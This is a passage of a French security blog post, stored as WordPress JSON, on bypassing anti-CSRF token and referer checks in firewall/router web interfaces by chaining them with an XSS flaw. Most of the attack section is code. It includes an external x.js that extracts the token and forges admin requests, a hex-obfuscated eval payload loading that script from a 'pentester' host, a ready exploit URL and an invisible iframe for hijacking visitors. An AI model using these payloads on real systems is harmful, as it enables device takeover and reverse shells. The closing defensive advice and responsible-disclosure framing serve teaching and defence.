n&#8217;est pas valide et on n&#8217;a pas connaissance du token.<\/li>\n<li>Ce script XSS peut charger \u00e0 la vol\u00e9 d&#8217;autres ressources JS, telle que JQuery. Ces ressources tierces seront \u00e9galement utilisables dans le contexte du WebGUI.<\/li>\n<li>Ce script JS peut forger (\u00e0 l&#8217;aide de JQuery) des requ\u00eates GET\/POST destin\u00e9e \u00e0 diverses pages du firewall\/routeur. Comme ces requ\u00eates (AJAX) \u00e9maneront du contexte du WebGUI en lui-m\u00eame, elles auront automatiquement le referer du firewall\/routeur, et par cons\u00e9quent bypasseront la protection referer checking anti-CSRF.<\/li>\n<li>En cas de n\u00e9cessit\u00e9 d&#8217;un token particulier, le script JS pourra forger une premi\u00e8re requ\u00eate \u00e0 destination d&#8217;une page o\u00f9 le token\u00a0appara\u00eet\u00a0dans la source HTLM retourn\u00e9e par la page. Par exemple une requ\u00eate vers une page proposant un formulaire, dont le token est disponible dans un champ input type &#8220;hidden&#8221;. Comme la requ\u00eate \u00e9mane du contexte du WebGUI en lui m\u00eame, \u00e0 destination d&#8217;une autre page du WebGUI, ce n&#8217;est pas une requ\u00eate &#8220;cross-domain&#8221; qui sont nativement muettes via les navigateurs actuels ; ainsi le code source de la page destination contenant le token sera bien r\u00e9cup\u00e9r\u00e9. Le script JS pourra parcourir ce code source r\u00e9cup\u00e9r\u00e9 pour extraire le token, et finalement forger la requ\u00eate AJAX final avec le token valide pour exploiter la CSRF initialement prot\u00e9g\u00e9e.<\/li>\n<\/ul>\n<p>Ce sc\u00e9nario peut s&#8217;av\u00e9rer un peu compliqu\u00e9 \u00e0 prendre en main, clarifions le par un sch\u00e9ma :<\/p>\n<div id=\"attachment_979\" style=\"width: 310px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/CSRF_bypass_scenario.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-979\" class=\"size-medium wp-image-979\" alt=\"CSRF protection bypass scenario\" src=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/CSRF_bypass_scenario-300x243.png\" width=\"300\" height=\"243\" srcset=\"https:\/\/www.asafety.fr\/wp-content\/uploads\/CSRF_bypass_scenario-300x243.png 300w, https:\/\/www.asafety.fr\/wp-content\/uploads\/CSRF_bypass_scenario.png 973w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><p id=\"caption-attachment-979\" class=\"wp-caption-text\">CSRF protection bypass scenario<\/p><\/div>\n<h3>Vecteurs d&#8217;attaques et exemples de syntaxe<\/h3>\n<p>Le pentester doit avoir identifi\u00e9 ces deux principaux vecteurs d&#8217;attaques :<\/p>\n<ul>\n<li>Une XSS dans le WebGUI, fonctionnelle sans v\u00e9rification du referer ni du token (g\u00e9n\u00e9ralement une XSS GET).<\/li>\n<li>Une CSRF prot\u00e9g\u00e9e par un validation du referer et\/ou un token. La CSRF est la finalit\u00e9 de l&#8217;attaque. Elle permet l&#8217;obtention d&#8217;un reverse-shell, le changement du mot de passe administrateur ou bien d&#8217;autres actions.<\/li>\n<\/ul>\n<p>Une fois ces pr\u00e9requis convenablement identifi\u00e9s, le pentester doit concevoir le script appel\u00e9 &#8220;x.js&#8221; dans le sch\u00e9ma ci-dessus, qui concentrera\u00a0l\u2019encha\u00eenement\u00a0des requ\u00eates AJAX \u00e0 r\u00e9aliser dans le contexte de la cible.<\/p>\n<p>[js]&amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;\/\/ Load JQuery dynamically in the targeted context&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nvar headx = document.getElementsByTagName(&#8216;head&#8217;)[0];&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nvar jq = document.createElement(&#8216;script&#8217;);&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\njq.type = &#8216;text\/javascript&#8217;;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\njq.src = &#8216;http:\/\/code.jquery.com\/jquery-latest.min.js&#8217;;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nheadx.appendChild(jq);&amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;\/\/ Function with JQuery AJAX request&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n\/\/ This function requests an internal WebGUI page, which contains the token.&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n\/\/ Source code of this webpage is passed to the extractToken() function.&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nfunction loadToken(){&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $.ajax({&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n type: &#8216;POST&#8217;,&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n url: &amp;amp;amp;amp;amp;quot;https:\/\/webgui\/pagewithtoken&amp;amp;amp;amp;amp;quot;,&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n contentType: &#8216;application\/x-www-form-urlencoded;charset=utf-8&#8217;,&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n dataType: &#8216;text&#8217;,&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n data: &#8221;,&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n success:extractToken&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n }); \/\/ after this request, we called the extractToken() function to extract the token&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n}&amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;\/\/ Function called after AJAX request in a defined page of the context, which contains the token value&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nfunction extractToken(response){&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n \/\/ response var contain the source code of the page requested by AJAX&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n \/\/ Regex to catch the token value&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n var regex = new RegExp(&amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;lt;input type=&#8217;hidden&#8217; name=&#8217;TOKEN&#8217; value='(.*)&#8217; \/&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;quot;,&amp;amp;amp;amp;amp;quot;gi&amp;amp;amp;amp;amp;quot;);&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n var token = response.match(regex);&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n token = RegExp.$1;&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n \/\/ Pass the token to the final function which make the CSRF final attack&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n makeCSRF(token);&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n}&amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;\/\/ This function use JQuery AJAX object.&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n\/\/ The token var is needed to perform the right CSRF attack with the context referer&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nfunction makeCSRF(token){&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n \/\/ Final CSRF attack with right referer (because executed in the context)&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n \/\/ and with right token captured above&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n $.ajax({&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n type: &#8216;POST&#8217;,&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n url: &amp;amp;amp;amp;amp;quot;http:\/\/webgui\/pagetargetcsrf&amp;amp;amp;amp;amp;quot;,&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n contentType: &#8216;application\/x-www-form-urlencoded;charset=utf-8&#8217;,&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n dataType: &#8216;text&#8217;,&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n data: &#8216;ACTION=attackAction&amp;amp;amp;amp;amp;amp;PARAM=craftedParam&amp;amp;amp;amp;amp;amp;TOKEN=&#8217; + token&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n }); \/\/ payload of your choice&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n}&amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;\/\/ Waiting 2 secondes for correct loading of JQuery added dynamically.&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n\/\/ Then, run the first AJAX request in the WebGUI context to retrieve the token&amp;amp;amp;amp;lt;br \/&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\nsetTimeout(&amp;amp;amp;amp;amp;quot;loadToken()&amp;amp;amp;amp;amp;quot;, 2000);&amp;amp;amp;amp;lt;\/p&amp;amp;amp;amp;gt;&amp;amp;amp;lt;br \/&amp;amp;amp;gt;&amp;amp;lt;br \/&amp;amp;gt;<br \/>\n&amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;[\/js]<\/p>\n<ul>\n<li>Ce fichier x.js devra \u00eatre h\u00e9berg\u00e9 sur un serveur HTTP tiers, accessible du WebGUI (http:\/\/pentester\/)<\/li>\n<li>JQuery pourra \u00eatre dynamiquement charg\u00e9 dans le context par l&#8217;interm\u00e9diaire de x.js. Deux secondes d&#8217;attentes sont fix\u00e9es dans l&#8217;exemple pour s&#8217;assurer que JQuery s&#8217;est bien initialis\u00e9.<\/li>\n<li>Apr\u00e8s ces deux secondes, une premi\u00e8re fonction est appel\u00e9e pour ex\u00e9cuter une requ\u00eate AJAX vers une page contenant le token dans son code source.<\/li>\n<li>Suite \u00e0 cette requ\u00eate, une seconde fonction est appel\u00e9e pour extraire le token du code source.<\/li>\n<li>Finalement, le token est transmis \u00e0 une derni\u00e8re fonction qui r\u00e9alise la requ\u00eate CSRF finale, avec un referer valide et un token valide.<\/li>\n<\/ul>\n<p>Apr\u00e8s avoir d\u00e9fini ce fichier x.js, le pentester devra forger la syntaxe de l&#8217;XSS qui sera en GET dans l&#8217;exemple.<\/p>\n<p>L&#8217;XSS canonique est la suivante :<\/p>\n<p>[html]http:\/\/webgui\/pagevulnxss?&amp;amp;amp;amp;amp;lt;script&amp;amp;amp;amp;amp;gt;alert(\/XSS by Yann CAM\/);&amp;amp;amp;amp;amp;lt;\/script&amp;amp;amp;amp;amp;gt;[\/html]<\/p>\n<p>Il est pr\u00e9f\u00e9rable de cr\u00e9er dynamiquement une balise &#8220;script&#8221; dans le DOM via l&#8217;XSS que d&#8217;utiliser l&#8217;attribut &#8220;src&#8221; (retour d&#8217;exp\u00e9rience). Ainsi, le code JavaScript de cr\u00e9ation de cette balise script :<\/p>\n<p>[js]var head=document.getElementsByTagName(&#8216;head&#8217;)[0];var script= document.createElement(&#8216;script&#8217;);script.type= &#8216;text\/javascript&#8217;;script.src= &#8216;http:\/\/pentester\/x.js&#8217;;head.appendChild(script);[\/js]<\/p>\n<p>Encodage en hexad\u00e9cimal (escape) :<\/p>\n<p>[js]%76%61%72%20%68%65%61%64%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%27%68%65%61%64%27%29%5b%30%5d%3b%76%61%72%20%73%63%72%69%70%74%3d%20%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%27%73%63%72%69%70%74%27%29%3b%73%63%72%69%70%74%2e%74%79%70%65%3d%20%27%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%27%3b%73%63%72%69%70%74%2e%73%72%63%3d%20%27%68%74%74%70%3a%2f%2f%70%65%6e%74%65%73%74%65%72%2f%78%2e%6a%73%27%3b%68%65%61%64%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%73%63%72%69%70%74%29%3b[\/js]<\/p>\n<p>D\u00e9codage et \u00e9valuation :<\/p>\n<p>[js]eval(unescape(&amp;amp;amp;amp;amp;quot;%76%61%72%20%68%65%61%64%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%27%68%65%61%64%27%29%5b%30%5d%3b%76%61%72%20%73%63%72%69%70%74%3d%20%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%27%73%63%72%69%70%74%27%29%3b%73%63%72%69%70%74%2e%74%79%70%65%3d%20%27%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%27%3b%73%63%72%69%70%74%2e%73%72%63%3d%20%27%68%74%74%70%3a%2f%2f%70%65%6e%74%65%73%74%65%72%2f%78%2e%6a%73%27%3b%68%65%61%64%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%73%63%72%69%70%74%29%3b&amp;amp;amp;amp;amp;quot;))[\/js]<\/p>\n<p>Url exploitant l&#8217;XSS finale :<\/p>\n<p>[js]http:\/\/webgui\/pagevulnxss?&amp;amp;amp;amp;amp;lt;script&amp;amp;amp;amp;amp;gt;eval(unescape(&amp;amp;amp;amp;amp;quot;%76%61%72%20%68%65%61%64%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%27%68%65%61%64%27%29%5b%30%5d%3b%76%61%72%20%73%63%72%69%70%74%3d%20%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%27%73%63%72%69%70%74%27%29%3b%73%63%72%69%70%74%2e%74%79%70%65%3d%20%27%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%27%3b%73%63%72%69%70%74%2e%73%72%63%3d%20%27%68%74%74%70%3a%2f%2f%70%65%6e%74%65%73%74%65%72%2f%78%2e%6a%73%27%3b%68%65%61%64%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%73%63%72%69%70%74%29%3b&amp;amp;amp;amp;amp;quot;))&amp;amp;amp;amp;amp;lt;\/script&amp;amp;amp;amp;amp;gt;[\/js]<\/p>\n<p>Balise iframe invisible \u00e0 placer sur un site quelconque :<\/p>\n<p>[html]&amp;amp;amp;amp;amp;lt;iframe src=&#8217;http:\/\/webgui\/pagevulnxss?&amp;amp;amp;amp;amp;lt;script&amp;amp;amp;amp;amp;gt;eval(unescape(&amp;amp;amp;amp;amp;quot;%76%61%72%20%68%65%61%64%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%27%68%65%61%64%27%29%5b%30%5d%3b%76%61%72%20%73%63%72%69%70%74%3d%20%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%27%73%63%72%69%70%74%27%29%3b%73%63%72%69%70%74%2e%74%79%70%65%3d%20%27%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%27%3b%73%63%72%69%70%74%2e%73%72%63%3d%20%27%68%74%74%70%3a%2f%2f%70%65%6e%74%65%73%74%65%72%2f%78%2e%6a%73%27%3b%68%65%61%64%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%73%63%72%69%70%74%29%3b&amp;amp;amp;amp;amp;quot;))&amp;amp;amp;amp;amp;lt;\/script&amp;amp;amp;amp;amp;gt;&#8217; height=&#8217;0&#8242; width=&#8217;0&#8242; style=&#8217;border:0;&#8217; \/&amp;amp;amp;amp;amp;gt;[\/html]<\/p>\n<h2>Preuve du concept sur un cas r\u00e9el (PoC)<\/h2>\n<p>Il m&#8217;a \u00e9t\u00e9 possible d&#8217;exploiter ce m\u00e9canisme sur deux distributions Linux firewall\/routeur de renom. Ayant averti les d\u00e9veloppeurs de ces solutions de ces vuln\u00e9rabilit\u00e9s, je suis actuellement toujours en attente de leurs retours et d&#8217;une potentielle correction. C&#8217;est pourquoi je m&#8217;abstiendrai dans un premier temps de vous pr\u00e9senter un cas concret d&#8217;exploitation de cette technique de bypass.<\/p>\n<p>Sachez toutefois qu&#8217;elle a \u00e9t\u00e9 test\u00e9e avec succ\u00e8s sur ces deux firewalls\/routeurs, permettant l&#8217;obtention d&#8217;un reverse-shell direct sur la distribution.<\/p>\n<p>Une fois ces solutions corrig\u00e9es, je pr\u00e9senterai un article d\u00e9di\u00e9 pour chacune d&#8217;elle d\u00e9montrant l&#8217;utilisation de ce m\u00e9canisme.<\/p>\n<h2>Conclusion<\/h2>\n<p>Pour terminer avec cet article, il est important de sensibiliser \u00e0 la fois les d\u00e9veloppeurs d&#8217;application web et les utilisateurs de celles-ci. Comme je le r\u00e9p\u00e8te depuis plusieurs articles, les vuln\u00e9rabilit\u00e9s de type CSRF et XSS ne sont pas \u00e0 prendre \u00e0 la l\u00e9g\u00e8re, loin de l\u00e0. Elles permettent l&#8217;acquisition de privil\u00e8ge, de contr\u00f4le \u00e0 distance et de cr\u00e9dentiels si elles sont manipul\u00e9es intelligemment.<\/p>\n<p>Les m\u00e9canismes de protection des CSRF sont fonctionnels et il est conseill\u00e9 de les instaurer dans vos applications (token, referer, demande de confirmation&#8230;). Toutefois ils peuvent \u00eatre mis \u00e0 mal si une vuln\u00e9rabilit\u00e9 XSS est pr\u00e9sente ailleurs. Il faut donc faire la chasse aux XSS ! Nettoyez vos param\u00e8tres et validez les avant de les utiliser dans vos scripts !<\/p>\n<h3>Quelques conseils pour une meilleure navigation sur l&#8217;Internet<\/h3>\n<ul>\n<li>Les sessions et leurs jetons sont tr\u00e8s pris\u00e9s des assaillants, veuillez \u00e0 ne pas les laisser ouvertes. Fermer vos sessions en cliquant sur &#8220;se d\u00e9connecter&#8221; plut\u00f4t que de fermer le navigateur directement.<\/li>\n<li>N&#8217;enregistrez jamais vos identifiants (login\/mot de passe) dans votre navigateur, les attaquants peuvent capturer ces informations \u00e0 votre insu via l&#8217;autocomplete.<\/li>\n<li>Ne suivez pas de liens suspects, et assurez vous du lien point\u00e9 par un mot en regardant la cible qui\u00a0appara\u00eet\u00a0en barre d&#8217;\u00e9tat de votre navigateur.<\/li>\n<li>Effacer votre historique, cache et cookies r\u00e9guli\u00e8rement (Shift + Ctrl + Suppr sur la plupart des navigateurs)<\/li>\n<li>Maintenez vous \u00e0 jour au niveau du navigateur et de ses plugins<\/li>\n<li>N&#8217;h\u00e9sitez pas \u00e0 d\u00e9centraliser vos sessions d&#8217;administration, en utilisant un autre navigateur d\u00e9di\u00e9, ou le mode &#8220;navigation priv\u00e9e&#8221;.<\/li>\n<\/ul>\n<h2>Sources &amp; ressources<\/h2>\n<ul>\n<li><a title=\"CSRF OWASP\" href=\"https:\/\/www.owasp.org\/index.php\/Cross-Site_Request_Forgery_(CSRF)\" target=\"_blank\">Cross-site Request Forgery &#8211; OWASP<\/a><\/li>\n<li><a title=\"CSRF Prevention OWASP\" href=\"https:\/\/www.owasp.org\/index.php\/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet\" target=\"_blank\">Cross-site Request Forgery Prevention Cheat Sheet &#8211; OWASP<\/a><\/li>\n<li><a title=\"CSRF\" href=\"http:\/\/fr.wikipedia.org\/wiki\/Cross-site_request_forgery\" target=\"_blank\">Cross-site Request Forgery &#8211; Wikip\u00e9dia<\/a><\/li>\n<li><a title=\"MTI Epita\" href=\"http:\/\/www.mti.epita.fr\/blogs\/2009\/03\/07\/securiser-son-site-web-33-attaque-de-type-csrf\/\" target=\"_blank\">S\u00e9curiser son site web &#8211; Attaque de type CSRF<\/a><\/li>\n<li><a title=\"Tailoc\" href=\"http:\/\/blog.tailoc.net\/2010\/07\/how-to-bypass-referer-security-check.html\" target=\"_blank\">How to bypass the REFERER security check with PHP &#8211; Blog Tailoc<\/a><\/li>\n<li><a title=\"Codeutopia\" href=\"http:\/\/codeutopia.net\/blog\/2008\/10\/16\/how-to-csrf-protect-all-your-forms\/\" target=\"_blank\">How to CSRF protect all your forms &#8211; Codeutopia<\/a><\/li>\n<\/ul>\n<p><\/p>","protected":false},"excerpt":{"rendered":"<p>Au cours de r\u00e9cents pentests, il m&#8217;a \u00e9t\u00e9 possible de contourner certaines protections anti-CSRF par le biais de moyen d\u00e9tourn\u00e9s. [&hellip;]<\/p>\n","protected":false},"author":1337,"featured_media":1136,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[517,14,515],"tags":[355,354,200,206,46,356,348,47,334,352,349,353,351],"class_list":["post-968","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-csrf","category-vuln-exploit-poc","category-xss","tag-bypass-referer-check","tag-bypass-token","tag-cross-site-request-forgery","tag-cross-site-scripting","tag-get","tag-iframe","tag-jeton-de-session","tag-post","tag-referer","tag-referer-checking","tag-session-token","tag-token","tag-xsrf"],"_links":{"self":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/968","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/users\/1337"}],"replies":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/comments?post=968"}],"version-history":[{"count":32,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/968\/revisions"}],"predecessor-version":[{"id":1628,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/968\/revisions\/1628"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media\/1136"}],"wp:attachment":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media?parent=968"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/categories?post=968"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/tags?post=968"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}